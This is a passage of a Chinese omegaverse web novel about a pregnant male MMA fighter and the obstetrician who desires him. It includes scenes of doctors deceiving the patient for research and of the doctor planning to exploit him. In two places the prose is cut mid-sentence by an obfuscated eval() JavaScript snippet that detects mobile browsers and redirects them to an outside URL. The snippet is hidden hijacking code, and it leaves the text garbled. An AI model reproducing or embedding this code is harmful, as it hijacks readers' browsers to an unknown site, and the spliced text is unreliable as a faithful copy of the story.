“哈,我需要他这样对我偏心吗?”洛城鄙夷地大笑一声,“老子是他旗下最有名的选手,他的资源当然第一个给我,这还用讨价还价么?” 宁祁却摇摇头,意味深长地看向他:“那是以前。现在伍沛霖的关注度直线上升,八个月后你再回去,情况也许就不一样了。” 想起十天前那场精彩的比赛,洛城忽然语塞,一时间无言以对。 --------------- 第二日上班,宁祁走进电梯,却意外碰见了性别科的张主任。这位年近四十的Beta惯爱眯着眼睛笑,短疏的眉毛微微向上吊着,薄唇拉扯得非常宽,总给人一种算计着什么的感觉。这一次也是如此,他见了宁祁便笑眯眯地问:“宁主任,怎么样,你那位难搞的AO双性病患,现在答应顺产了罢?” 宁祁短促地笑笑,站到他身旁,避免与他对视:“暂时是答应了。不过他不配合饮食,最后能不能顺产也不确定。如果剖腹产的话,他肯定要求把子宫一起割掉的。” “是吗。”那双细长的眼忽然睁开了些,露出一丝精光:“宁主任,你要加油呀。毕竟他的子宫关乎我们的研究,如果他执意要割掉,那可是我们医院的巨大损失……你跟我以后能不能顺利升上主任的位置,恐怕也要取决于他呢。” 这一次宁祁没有答话,只敷衍地对他扯了扯唇。然而这位张主任却不打算轻易放过他。对方用一种洞察而奚落的视线将他上下打量几遍,半晌又笑起来,脚下移动一步,凑近了些: “宁主任,其实以你的技术,剖腹产的竖切伤口完全可以做到愈后无痕。而且你们产科研究的是孕产,生产之后,子宫留不留也没什么所谓,那你为什么会配合我们去哄骗患者呢?” 闻言,宁祁平静地扭过头,朝他露出了一个无可奈何的笑容:“院长都出面了,我能有什么办法?张主任,没其他事的话,我先去上班了,再见。” 此时电梯门打开,他像一棵松树般走出去,脊背挺得直直的,仿佛问心无愧。张主任细长的眼睛缓缓睁开,对着他的背影冷笑一声,:“当别人看不出来呢……小白脸,一天到晚只会钻营这些,当心被鹰啄了眼!” 36.胸口开始发涨 纺织厂房的改造开始之后,闻人律隔三差五就会去场地转一圈。时间通常在六点之后,下了班就让司机把自己拉到工地,戴上安全帽这里看看、那儿转转。 如今厂房的旧屋顶已经掀开,旧门窗也全部敲掉了,在扩大窗洞之前,一些主体的结构需要加固。这时段恰好工人们都去吃饭了,工地变得非常清净。随着太阳在西边一点点落下,满天的云会被染成姹紫嫣红的颜色,古旧的厂房也随之蒙上一层彩纱,看上去静谧又美丽。 有一次唐秘书也跟着来了,看着厂房与办公楼中间宽阔的场地,她忍不住向往地道:“以后办公室搬到这边,我就可以把儿子一起带过来。我办公,他就在操场上玩儿。” 闻人律笑笑:“行啊。设计部说厂房的空间非常富余,那就再增设一个母婴室和一个儿童活动室,等小孩儿放学了你们就接过来,把人丢到活动室里,随他们怎么闹。” “真的啊?!”唐秘书非常高兴:“那我先替公司里的爸爸妈妈们谢谢律总了~” 过了两天,陆庭风看见设计部提交上来的新平面,不禁“咦”一声:“你怎么想起要搞母婴室?” 闻人律随口答:“那天恰好唐秘书提到孩子。” “唐秘书的孩子都上小学了,哪还用得着母婴室?”这人抠起字眼来不依不饶的,闻人律忍不住嫌弃地瞪他:“就算唐秘书用不上,别人也能用上啊!公司上千号人,难道就没有准妈妈准爸爸?!” ……也是哦。想起某个请长假去生娃的格斗选手,陆庭风耸耸肩,没再吭声。正要荡回自己办公室,一转身却看到一张与大老板几乎一模一样的脸,只不过更傲慢些、皱纹更多些——闻人谦信不请自来地出现在这里,一开口不是跟他们问好,而是理直气壮地问:“什么母婴室,谁要生孩子?” 闻人律诧异地抬起头,见是这个不负责任的爹来了,面色立即以肉眼可见的速度臭下去,语调也变得冰冷而戒备:“你来干什么?” 夏管家本来候在一旁,此时赶忙上前一步,打圆场道:“大少爷,老爷就是想来参观一下你的公司,没别的意思。” 这一次闻人谦信难得没给自家老管家拆台,只是板着脸站在原地,双手拄拐,一言不发,想必也是被弟弟反复劝说过了。他欲言又止地望着儿子,嘴唇紧紧抿着,似乎憋得很难受。陆庭风凑上来跟他问好:“信伯伯,好久不见。”他斜睨一眼,终究是没忍住,兀自望向闻人律道:“上次那位何主任的千金,你加了人家联系方式没有?” ……就猜到他的目的不可能那么单纯!闻人律冷笑一声,并不正面回答:“我做事自有打算,不用你操心。” 也许是终于意识到自己老了,这一次闻人谦信没再训他,只绷了绷干瘦的腮骨,退让道:“你有打算就好。”他拄着拐杖生硬地转过身往外走,就如夏管家所说,“参观一下公司”,缓慢的脚步声逐渐远去。 见状,陆庭风不禁诧异地笑一声:“哈!你爸居然真的忍下来了。换做以前,他肯定要对你指手画脚的。” 闻人律也有些难以置信。他拧着眉盯着门口方向,没说话,半晌收回视线,冷着脸继续工作。 -------------------- 何主任的千金他是一早就联系过了的。 在闻人谦信六十岁大寿的第二日,何主任就积极地把自家女儿的微信号发了过来,并说:“我知道你们年轻人不喜欢我们老人家组的饭局,那就自己认识一下吧!” 犹豫半晌,闻人律出于礼貌,还是发了个好友申请过去。但直到傍晚,这位何砚青小姐才通过他的申请,第一句话就是诚恳道歉:“不好意思,开了一下午会,没空看手机。” 唔,看来是个谦逊友好的omega。闻人律便回:“理解,工作要紧。” 官员家的小孩大多是低调又落落大方的,何砚青也是如此。面对潜在的相亲对象,她丝毫没有尴尬感,开口便问:“我爸说你帅得要命,但我上网却没有查到你的资料,连相片也没有一张——那个闻人杰不是你吧?” “不是,他是我同父异母的弟弟。我不喜欢被人评头论足,所以很少出席公共活动。” “这样啊,那我明白了。” 第一次的聊天非常简短,后续几次也没多深入,只是蜻蜓点水地问候一下,应付家里的询问罢了。从伦敦回来后,助理把他准备的生日礼物寄了过去,但久久没有回音。闻人律猜想,对方估计去封闭培训了,又或者包裹太多,把东西忘在了角落。果不其然,过了将近一个月,何小姐这才后知后觉地发来一条信息: “我才看到你寄来的包裹!天啊,是梅威瑟的亲笔签名,太感谢你了!这个限量款式我抢了好几次都没抢到!……你是不是上个月去伦敦找他签的啊?” “是。UFC第291期数字赛,他是嘉宾,就坐在我边上。” “原来如此。他在中国的经纪约是你代理的吗?” 提起这个闻人律就不禁一阵遗憾——当年他曾跟梅威瑟争取过,拳王先生笑着拍拍他肩,说:“Seth,我喜欢你,但你的公司不是中国第一,所以我的团队是不会答应的。”转头签了腾云。现在想起来,闻人律都还有点儿心塞:“不是,他的经纪约在腾云名下。” “哦……那你们公司有哪个知名选手呢?”何砚青问。但马上,她似乎搜索到了答案,恍然大悟道:“原来那个洛城是你们旗下的啊!我知道他,他长得很野很帅,我办公室有个Alpha可崇拜他了,说他是中国综合格斗界唯一一个有可能拿到金腰带的人。” 听她这么直白地夸赞,闻人律不禁笑了笑,矜持地道:“还行吧。他吊儿郎当的,也不知哪年哪月才能拿到。” “你帮我问他要个签名好吗?我那同事快生日了,送这个他肯定高兴。” “行。”刚应下来,闻人律便默默地感觉不对——好像有一阵子没看见洛城了?之前还时不时见他在器械区做有氧,最近却一次都没碰到。思忖一会儿,他犹豫地点开曹磊的头像,状若不经意地问:“洛城最近有来训练馆吗?” 曹磊回:“他说他老婆最近孕情稳定了,准备去外头散散心,玩儿几个星期。” 表情瞬间变得冷漠,闻人律没再回复,关了屏幕把手机一丢,盯着家里的白墙冷哼了一声。 ----------------------- 洛城确实有一个多星期没去训练馆了。 怀孕满20周之后,他的肚子终于微微鼓了起来,显示出一种不大自然的弧度。一开始他还没发现,直到九月二十一日那天,他洗完澡只穿着小裤裤走出来,宁祁撞见了,下意识地细细打量:“你开始显怀了……还没感觉到胎动吗?” 洛城吓了一跳,赶忙去照镜子,身体左转转、右转转,最后捂着肚子五雷轰顶:“卧槽,还真变大了!” 虽然早就预料到这一天,但当它真的来到眼前时,洛城还是有些失魂落魄:“这下不能再去训练馆了……靠,我得憋死!”他又趴到了沙发上去,耷手耷脚的,两眼放空,一副生无可恋的模样。 宁祁从镜片后头默默打量着他依旧紧实的背面线条,脊沟深深、腰窝对称凹陷,再往下是高隆的山丘与饱满的长河。蜜色皮肤透着洗澡后的湿气,青黑的云雷纹身像蛇一般缠绕在他依旧结实的大臂上——喉咙忍不住轻咽一下,宁祁不动声色地坐到他身旁,扯出一个温柔的笑:“没事,我书房里不还有一台跑步机么?再买个泡沫垫和跳绳,你就可以在家锻炼了。” “——但是不能跟朋友吹牛聊天啊!”洛城忿忿地捶一下沙发,对他搞不清重点的行为表示不满。宁祁垂眸看着他,这次没敢贸然伸手:“跟我吹牛不是一样的么?你想怎么吹,我都陪你。” 他自以为表现得完美无缺、体贴入微,洛城一定会心生感动,从而对他产生好感。却不料这个糙人嫌弃地冷哼一声,撑着沙发爬了起来,踢踢踏踏地走向次卧:“得了吧,你无聊死了,跟你吹牛有什么意思?” 错愕地怔愣一瞬,宁祁尴尬地坐在沙发上,悻悻地露出了一个笑。 ------------------- 国庆过后五天是洛城的生日。以往每到这时候,老妈都会朝他讨红包:“你的生日就是老娘的受难日,给红包来!不然对不起我辛辛苦苦养育你这么多年。” 洛城也不是小气的人,通常都爽快地转给她十万:“给你打麻将!”谁知妈妈过世之后,他清点遗物,却发现了一张六十万的存折——原来那几年的“受难费”,她并没有花掉,而是全部攒了起来。至于准备用来做什么,就不得而知了。 “还不如花掉呢。”想起往事,洛城摸着自己微鼓的小腹,不禁遗憾地苦笑了一下:“现在好了,都便宜李志明那混账了!” 目前他的孕周满了23周,可以做四维彩超了。头天晚上宁祁忽然想起这事,打开房门问他:“要不要明早跟我一起去医院?” 洛城摇摇头:“早上有事,还是下午吧!下午我自己过去。” 第二天一早,他穿了件宽松的T恤,照例买了一份卤味和甜米酒,去墓园看妈妈。初秋的阳光依旧热辣,只是空气干燥了些,不如之前闷热。洛城把T恤拉紧了给妈妈看:“喏,你瞧,我肚子鼓起来了。医生说她长得很好,大概有一斤一两,已经能照出长相了。我准备下午去拍四维彩超——我感觉她应该长得像你吧?当年你可是望海路的一枝花,像你的话准没错。” 说完,叹一口气,又问:“我还没给她想好名字呢……你说,应该给她起个什么名儿呢?当年你给我起得太敷衍了,我可得认真一点。” 絮絮叨叨说了半个多钟,洛城终于撑着膝盖站起来,总感觉自己被太阳晒得有点儿晕。正扶着墓碑缓劲儿,这时候,肚里忽然滚动一下,像是有什么东西在里头翻了个身!洛城顿时惊住了,瞪大眼睛屏息静气。果不其然,三秒钟后,那个东西又滚了一下,肚皮感觉到轻轻的叩动,好像是被蹬了一脚。 那瞬间,洛城惊喜地笑出了声:“哈哈哈,妈,妈!你孙女终于动了!这个小懒虫,五个月才动一下,我当年不是这样的吧?我记得你以前说,我在你肚子里上演全武行来着——完了完了完了,这小兔崽子可能真的不像我!” 他虽然说着完了,但脸上那笑容却是没停过。半个钟后到了医院,产科人来人往的他也不在乎了,拉下口罩就对着不远处的苏林菲拼命挥手,用夸张的口型无声地喊:胎——动——了—— 苏林菲先是一愣,随即大为振奋,快步走过来把他拖进了办公室里。 今天的病人很多,洛城下午才来做四维彩超,那就只能排到下班之后。课题小组的人听说他胎动了,一个个都抽空来摸他的肚子,其中数苏林菲摸得最久,都快趴他肚子上了:“宝宝,宝宝,你动一下好不好?或者踹我一脚?让姨姨感受一下你的正蹬……” 洛城被她逗得哈哈笑:“我还侧踹呢!你那么想让她踢你啊,那等长大了我让她给你补一脚。” 宁祁今日忙得脚不点地。小莫医生说,他连正经午饭都没吃上,只吃了个面包。果然,直到五点多,这人才疲惫地走进来,一双眼热切地盯着他的肚子道:“听说有胎动了?我可以摸一摸吗?” 洛城在办公室的木沙发上睡了一个午觉,这会儿眼睛半阖,脑子还昏昏沉沉的,也没想太多,抬手摸了摸微鼓的肚子:“过来吧。” 宁祁的眼睛立即大亮,走到沙发前蹲下来,隔着T恤将手小心翼翼地放到他的肚皮上。然而小家伙似乎也没睡醒,这会儿安安静静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628128|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,完全没有动的意思。宁祁屏息静气地等候了许久,还是没有得到任何回应,最后只得悻悻地将手抽回去:“他不动的话,一会儿也不好做四维彩超。你得吃点儿巧克力、脉动什么的,引诱他动一下。” “是吗?”洛城将信将疑。他戴上口罩和帽子去大厅的自动售卖机买了一瓶脉动、一块巧克力,等他们下班了,自己也吃得差不多了。苏林菲第一个窜进来,迫不及待地把他拖到四维彩超室,又迫不及待地掀他的衣服,搞得洛城忍不住板起脸大叫:“哎哎哎你这个人,怎么回事?!非礼良家帅男啊!” 苏林菲眼睛一瞪,憋着笑在他胸肌上轻拧一把:“我都看过你多少次了,还装呢!” 却不料这一拧让洛城痛得“嗷”一声,捂着胸口向一侧匍倒,满脸都是痛苦。众人顿时大惊失色,六七个人一齐围上去,苏林菲更是吓得魂飞魄散:“怎么了怎么了!我,我没有太用力啊!” 倒是宁祁最先反应过来:“你是不是……胸部开始胀痛了?” 洛城的身体立即僵住,嘴里也没了声音,一副不愿承认的模样。见他如此,大家还有什么不明白的!苏林菲忍不住捶他一拳:“你吓死我了知不知道!……涨奶而已,瞒着我们干什么?怀孕的人都会涨奶的,这是一件很正常的事,用不着遮遮掩掩。” “……可真的很丢人啊。”洛城终于从牙缝中挤出这么一句话,随即不甘不愿地转回身,怨念地望向自己愈发饱满的胸部。众人的视线也随之望去,只见T恤下面那片隆起确实鼓了一些,也更宽阔一些。想起刚才那惊鸿一瞥,苏林菲又忍不住心痒痒了:“城哥,你让我们仔细看一看吧。我顺便帮你触诊一下,检查它里面有没有肿块……” 闻言,洛城立即警惕地用手臂一挡,瞪起一双虎目:“看什么看,不给看!” 他一拒绝,满怀希望的众人顿时垮下肩膀,面露遗憾。苏林菲却不依不饶,两只手往床边一拍,理直气壮道:“为什么不给看!你比赛的时候都不知道被多少人看过了,现在才开始害臊?晚了点儿吧!” 她说得好像也有道理……反正胸只是鼓了一点,没有变成其他的形状。犹豫一会儿,洛城忿忿地将他们每人瞪了一眼,这才不甘不愿地把T恤拉起来—— 只见那片被饕餮纹覆盖的蜜色胸膛呈现出一种饱满的形状,它们静静地躺在那里,侧缘和下缘微微隆出,形成明显的阴影。宁祁看多了比赛,对他的身体比较熟悉,此时便忍不住在心里暗暗比较:唔,好像是更鼓一些。不过变化更大的是顶端那两个浅棕色的小点——以前约莫是绿豆大,现在变成黄豆大了,晕云也扩了一圈。 苏林菲也观察得十分认真,那双小手还尽职尽责地贴上去,用四指细细地推按:“你最近有感觉哪个地方特别痛吗?比如说侧躺的时候,会不会压得痛?” “就是胀痛而已,没感觉哪里特别明显。”洛城生无可恋地撇着脸,似乎并不想面对自己被揉的事实。看着苏林菲将他的胸肌推成各种各样的形状,宁祁两眼直勾勾地看着,忍不住深吸一口气,咽了一下唾沫。其他几人也看得目不转睛,只不过他们是否怀着不一般的心思,就不得而知了。 检查完毕后,苏林菲吁一口气,意犹未尽地抽回手:“还好,没有肿块。” 洛城立刻把T恤拉下来,盖住胸口,抿着唇瞪她:“现在可以帮我做彩超了吧?!” 大家都忍不住“噗”地笑出声来,立刻各就各位:“好好好,可以了可以了!” 当仪器屏幕上出现小宝宝的脸蛋时,所有人都情不自禁地围了上去,瞪大眼睛仔细看。洛城眼巴巴地躺在床上,就听见他们在不停赞叹:“哇,这小脸真圆啊!鼻子高高的,眼裂特别长,肯定是个大眼睛……哎哎哎她挡脸了,不让我们看!” 于是宁祁用探头戳一戳他的肚皮,小家伙随之放下手掌,脸蛋转一转,高挺的鼻梁变得愈加明显。大家忍不住笑:“他好配合啊,碰一下就知道换姿势了。” 洛城听得快急死了:“手指脚趾全不全啊,健不健康啊?你们别知道光看脸啊!” 苏林菲回手在他肩上“啪”一掌:“放心吧!我们都检查过身体再看脸的。” 又过了一会儿,检查终于结束。检查单一打印出来立即被洛城抢走了,瞪起两个眼睛聚精会神地盯着那八张照片看,连宁祁的话也没听:“虽然你肚子小,但宝宝发育得相当不错。他依旧偏大一周,体重620g,腿长,不过头围不算大……” 洛城坐在床边已经笑成个傻子了,满脸都洋溢着疼爱与幸福:这长长的眼皮、高挺的鼻梁,不像自己像谁!忍不住兴奋地将照片举到脸侧,他两眼放光地望向众人,期待地发问:“怎么样,怎么样!是像我吧,跟我一模一样吧?” 大家都忍不住笑,异口同声地答:“像,特别像!” 于是洛城又幸福了,抱着照片如痴如醉地开始了第二轮欣赏。苏林菲瞅着他那副痴迷的样儿,忍不住掩着嘴跟小莫医生咬耳朵:“你看他这样子,显然已经做好当妈妈的准备了——”正说着,洛城忽然身体一僵,闭上眼,生无可恋地捂住胸口:“操,胸又涨了。” 苏林菲顿时大笑出声:“哈哈哈哈哈哈哈你别母爱泛滥了!你再多看两眼,涨奶得更快!” “啊?”洛城狐疑地瞪她:“跟这个有关系吗?” “怎么没有关系?激素的分泌很受情绪影响的,你越看宝宝的照片、越想抱她、爱她,身体变化的速度就越快。” “是吗?”闻言,洛城茫然地拧起眉,似乎想到了什么久远的事情。忽然,他一把抓住苏林菲的手腕,恍然大悟道:“我想起来了!在那次突发热潮期之前,我特别想要个孩子,还看了好多天的宝宝视频!……你说,这是不是我从Alpha转向Omega的原因?” 37.孕期的渴求 在经过了一个多月的期待后,十月十四日这天,性别科的张主任终于有了一个与那名AO双性患者面对面的机会。早上九点,电梯正繁忙,他等了半天等不到,干脆推开楼梯间的防火门,沿着消防楼梯直下三层,穿过产科繁忙的走廊,狂奔向宁祁的办公室。 一路上他止不住地想着,对方是什么样的人呢?听说他孕期满22周了,那肚子应该大了不少。据说还是个公众人物,医院因此签了严格的保密协议——那应该长得很好看?大概率瘦瘦高高的,也许还有点儿趾高气昂。 张主任做好了耐心攻坚的准备,却不料一打开办公室的门,一个高大的身影便出现在眼前。对方高挑的身材足有一米九,肩宽腿长,臂膀结实,上半身接近倒三角,一看便知是个练家子。仅露出来的深邃眉眼透着警惕,眼尾被蓬松的半长卷发一遮,更显得谨慎戒备。 张主任瞬间张口结舌,看看杨主任,又看看宁祁,难以置信道:“这,这就是……” 宁祁不咸不淡地为他引荐:“这就是配合我们做研究的病患,洛城先生。” “洛城……”张主任的神情依旧茫然,显然并不关注格斗赛事。这时,他又忍不住朝洛城宽松的T恤下摆望去:“不是说怀孕22周了吗?看起来也不像啊。” “喂,”这时,洛城不满地一抬下巴,冷声道:“你有什么问题就问,别瞎扯些有的没的。” 被他的威压震慑到,张主任不由自主地坐了下来,望着他默默咽一口唾沫,乖巧答应:“好的。” 宁祁忍不住在一旁抿唇笑了笑。 既然都报了名号了,洛城也不再遮遮掩掩,取下口罩坐到了他对面去。望着他帅气而不羁的蜜色脸庞,张主任怎么也想不到这个人居然是AO双性体质,也无法想象他是如何怀孕的。艰涩地清一清喉咙,他试探着问:“洛先生……你,你突发热潮期之前,有一段时间很想要孩子是吗?” “是。”面对不熟的人,洛城向来是言简意赅。所幸张主任并不想跟他套近乎,他只是为了研究和科学而来:“当你看那些宝宝视频的时候,你有什么特别的感觉吗?” 洛城耸耸肩:“就跟一些人看猫猫狗狗一样啊,想抱、想亲、想疼爱,不过我的这种情感可能更迫切一点。” “有没有感觉身体热烘烘的?”张主任循循善诱地问他。 热烘烘的?洛城下意识拧眉回想着,半晌点了点头:“……确实有。那阵子我的体温有点高,37℃出头吧。我还以为是我的抵抗力下降了,偶发低烧,就没当回事。” “——那就说得通了。”把他的回答在病例上飞快地记录下来,张主任的眼睛罕见地睁得很大,神情隐隐兴奋:“Omega的体温惯来比Alpha高0.5℃,你那时肯定已经发生了转变,但自己不知道。后来又接触到强劲的□□,所以快速地引发了热潮期……” 不禁看向他龙飞凤舞的笔记,洛城的眉心依旧蹙着,将信将疑:“情绪的效果有这么明显吗?我只不过想要个孩子而已,也没想自己生,身体怎么就自作主张地转变了?” 闻言,张主任猛地放下笔,按捺着激动的心情给他讲解,语速飞快:“人体是一个很精密的仪器,所有的器官、激素、情绪、反应,一环扣一环,这才构建出了我们的存在,以及对现实的回应。我们性别科经常接到一些无法正常热潮期的病患,有一半确实是器官出了问题,但另一半基本都是情绪上的不足。比如说,Omega在缺乏Alpha的环境中工作,一年到头都见不到几个异性,那么,他们的性周期就会拉长——” 说到这儿,张主任用双手做了一个向两边拉扯的动作:“三月一次的热潮期变成半年一次,甚至一年一次,皮肤变得暗淡无光、脱发、情绪暴躁,这都是生殖系统退行的表现。但这种又是最好解决的——下载几个社交媒体,多看看帅气健壮的Alpha,再去线下追追星,不出半年就能调整回来。所以说,情绪很重要,那股冲动也很重要。你是你身体的主人,你想什么,它如果可以达到,它就会回应你什么——就这么简单。” 闻言,洛城默默地瞪大眼,俨然被震惊了。此时此刻,他心里不禁冒出了一个想法:要是不把Omega那部分拿掉,那么以后自己带孩子时如果慈爱泛滥……岂不是又会发生转变,从而引发热潮期? 不禁倒吸一口凉气,他咬着后槽牙,用力咽了口唾沫。 ------------------- 傍晚下了班,宁祁以买菜为由,把洛城带去了超市。 自从早上被张主任的那番话震撼到之后,洛城一直有些心不在焉的,频频发呆走神。宁祁已经推着小车从粮油区走到配料区了,这人还站在原地对着鸡蛋若有所思。 他人高马大的,全身上下捂得严严实实,又是半长卷发,直愣愣地往那儿一杵,买鸡蛋的阿姨们都不敢上前。宁祁还以为他跟在身后呢,拿起两款不同的酱油问:“你喜欢哪个牌子的啊……洛城?” 回头一望,人居然不在!他赶忙转回去把这个门神似的家伙带走。洛城闷声不吭地被他拖到零食货架中间,四周都是叽叽喳喳的小孩子,将他俩的对话淹没其中:“怎么了,今天张主任的问话让你觉得不舒服吗?” “不是。”忧心忡忡的洛城看上去难得有一丝深沉的气质,就像一匹黑骏马有了牵挂,忽然让人察觉到驯服他的可能:“我就是怕……等宝宝生出来之后,我跟她朝夕相处,肯定会父爱泛滥的。万一这个情绪又影响到身体,引发Omega的热潮期怎么办?” 他眼帘低垂着,小马驹似的浓密睫毛簌簌颤动,把宁祁看得失了神。有那么一会儿的功夫,他根本不知道洛城说了什么,直到对方抬起黑白分明的深邃眼睛,他才倏然清醒:“你……你不想要第二个宝宝吗?”宁祁下意识地问。 “一个还不够吗?”洛城被问得拧起眉,茫然眼神变作不满,瞬间锋利了许多:“我这辈子有这一个孩子就足够了,你还想着第二个?……你当我是千万富翁不用工作啊!” 脊背一凛,宁祁终于回过神来,懊恼地抿了抿唇。抬起眼悄悄打量洛城,对方的面色依旧不大好看,但似乎没察觉到自己的小心思。于是宁祁吁一口气,掩饰地从货架上拿了好些粗粮饼干丢进购物车里,故作轻松地道: “其实你也不用太担心。之前那次是你对自己不了解,而且也没人帮你,所以才着了道儿。现在好了,有咱们医院三大科室做后盾,你还愁觉察不到身体的变化么?到时候一周一验血,任何激素的波动都无处遁形。” ……他说得也是。洛城沉沉地吁口气,心里总算轻松许多。这时一抬头,见购物车里多了好些自己被严令禁止的零食!他立即眼光大亮,兴奋又期待地望向宁祁:“你!你买这么多零食做什么!是不是给我吃的!” 得,猛虎又变成一只大橘猫了。宁祁无可奈何地笑笑,同时心想,总算糊弄过去了:“对对对,给你吃的——不过一天不能吃太多,知道吗?你现在处于体重飞速增长期,控糖不能停。” “那!”却不料洛城仍不满足,甚至试图得寸进尺:“我想吃冰淇淋!就一个,一个就行!” “天都凉了,你还吃冰淇淋啊!”宁祁哭笑不得。洛城却振振有词:“我热啊!我现在睡觉都还开空调呢,午睡起来都是一头的汗,热死了!” 孕夫的体温是比平常人要高一些的,这一点宁祁很清楚,于是也不忍心拒绝了:“好好好,今天破个例,让你吃一个冰淇淋。你自己去挑吧。” “芜湖!”洛城欢呼一声,一个蹦高冲向冰淇淋柜,把宁祁吓得面无血色:这蹦了得有一米高吧!天啊,要是换了别的孕妇,不得原地流产啊……得亏他是个运动员! 拍拍心口,赶紧推着购物车跟了上去。 ----------------------- 自从肚子变大再不能去训练馆聊天吹牛之后,洛城的情绪日益变得暴躁,整个人仿佛一只被困在笼子里的野兽,对这“笼子”里的一切事物都看不顺眼。直到最近,靠着宁祁买回来的饼干和小面包,他心里那股烦躁稍微平缓了些。偶尔宁祁晚归,他甚至能大发善心地做一顿卖相普通的晚饭,这可把宁医生给惊住了:“你会做饭?” 洛城奇怪地瞪他:“我都三十好几的人了,为什么不会做饭?” 宁祁憋着笑:“那前两个月你为什么不做?” 悻悻地哼一声,洛城撑着下巴撇开脸:“……因为你做得比较好吃。” 看着他言不由衷的任性神态,宁祁胸膛里情不自禁地泛起一股热潮,忽然对二人的未来有了深重的期待——他之前一直以为洛城当惯了Alpha,所以对其他Alpha的示好与照顾过于迟钝。但现在看来,这人并不是察觉不到自己的好,他应当是太习惯于主导位置了,所以羞于承认而已! 想到这儿,宁祁大为振奋,忍不住朝洛城绽放了一个纵容到极点的温柔笑容:“好好好,你觉得我做饭好吃,那我以后天天给你做。” “……操!”却不料洛城嫌恶地一龇牙,端着饭弹出了八丈远:“你笑得好恶心啊!我鸡皮疙瘩都要窜起来了!” 宁祁却只当他是害臊,笑而不语地低下头,心想着见好就收。从现在到生产还有四个月,他有大把时间攻略这个口是心非的“黑骏马”。 从那之后,这人果真信守承诺,只要不加班,他就会赶回来给洛城做晚饭。从超市里买来新鲜食材,荤素搭配要平衡,色彩要好看,口味要清淡……见他如此殷勤,洛城没有感激,反而怨念地道:“有什么用?你做得再好,我能吃几碗?还不是天天杂粮饭,一点点肉,一个鸡蛋,再加一杯奶!哦,还有一大碗青菜——可我又不是牛马,我吃那么多青菜干嘛!” 每到这时候,宁祁都会耐心地安抚他:“忍一忍嘛,就这几个月而已。等宝宝出生了,你想吃什么我都给你做,做红烧肉、做大排面!” 宁祁还买了花回来。以往前男友在时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645103|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家里的花瓶总是插满鲜花,一星期一换。现在他想着制造一些浪漫的氛围,就把闲置的花瓶都翻了出来,买回各种各样的鲜花四处摆放。他把洛城的房间也摆了一瓶——香槟色玫瑰,色彩柔和,气味甜蜜芬芳,足够表达心意,却又不至于像红玫瑰那样惹眼。他觉得洛城应该会有所察觉,然而第二天早上,这家伙捏着鼻子把花拿了出来,嫌弃地道:“香死了,熏得老子一晚上没睡好觉。” 宁祁眼前一黑:这人真的……太不解风情了! 过了半月,随着那日从超市带回来的小零食见了底,洛城烦躁的情绪卷土重来,甚至有愈加汹涌之势。在孕期满了27周后,做糖耐的前一天晚上,那股挠心挠肝的感觉到达了巅峰——由于八点之后就不能吃东西了,洛城不得不在十点钟就早早地上了床。可肚子实在是太饿了、太饿了,他翻来覆去的睡不着,硬是睁着眼睛捱到了十二点! 胃在痛苦地收缩、歇斯底里地拉扯,他好想去冰箱里摸一根甜玉米来解馋,可宁祁说糖耐一次不过还要做第二次……蠢蠢欲动的腿只能收回来,转而抓过枕头,咬牙切齿地四处摔打。 操!操!操!烦死了!这不能吃、那不能吃,吃饱了没一会儿就觉得饿,吃多点儿就会吐出来!胸口胀痛不能压,弯腰穿鞋都不方便,半夜还要爬起来跑好几次厕所!……怎么一开始的时候没人告诉他,怀孕是个这么难熬的事儿啊! 好不容易熬到第二天早上八点半,到医院抽过血、喝下几百毫升的葡萄糖水之后,洛城就沉着脸在办公室沙发上坐下了,甚至还把加绒运动外套的兜帽扣在了头上,一副不想搭理任何人的架势。这时候,饶是胆大包天的苏林菲也不敢去招惹他,只得暗搓搓地跑到诊室,悄悄戳一戳宁祁:“怎么回事,你最近没把那位大爷伺候好啊?” “我这还叫没伺候好啊?”无奈地笑笑,宁祁叹口气,解释道:“他睡前习惯吃点儿东西,玉米啊无糖酸奶什么的,昨晚没得吃,就生气了呗……你不用管他,他最近一直这样,跟个炮仗似的。” “不会是孕期情绪病吧?一般越到后期,孕妇对丈夫的依赖就越重。洛城没有配偶来安抚,他自己也没有这个意识,可别……”苏林菲讳莫如深地看宁祁一眼,压低声音道:“可别把身体憋坏了呀!” 脑子里似有惊雷闪过,宁祁此时此刻才想起这个可能,震惊的同时也不由狂喜:是啊,孕中期正是孕夫最渴求Alpha的时候,自己可以利用这一点…… 心中已经沸反盈天无法自制,然而他脸上却迅速镇定了下来,朝着苏林菲克制地点点头:“嗯,我知道了,我会找个时间跟他谈谈的。” --------------------- 当天晚上回到家,宁祁正想跟洛城聊聊天、打探一下他最近的想法,这人却一头扎到了沙发上,还记得把外套脱了,拽起毯子盖住日益高隆的腹部:“我小睡一觉,你做好饭叫我。”说完,眼睛一闭,歪头便睡了过去。 望着他眼下淡淡的青黑,宁祁意味深长地勾了勾唇:看来,最近他确实没睡好啊。 做饭时,在切炒煮炖的间隙,他似乎听到外头有什么短促的声响,含糊的、轻浅的,毫无规律,像是谁在无意识地梦呓?正好最后一道青菜做好了,宁祁便解了围裙走出去,就见洛城侧躺在沙发上,一手搭着肚子,一手垂在边缘,五指正无意识地痉挛、收缩。 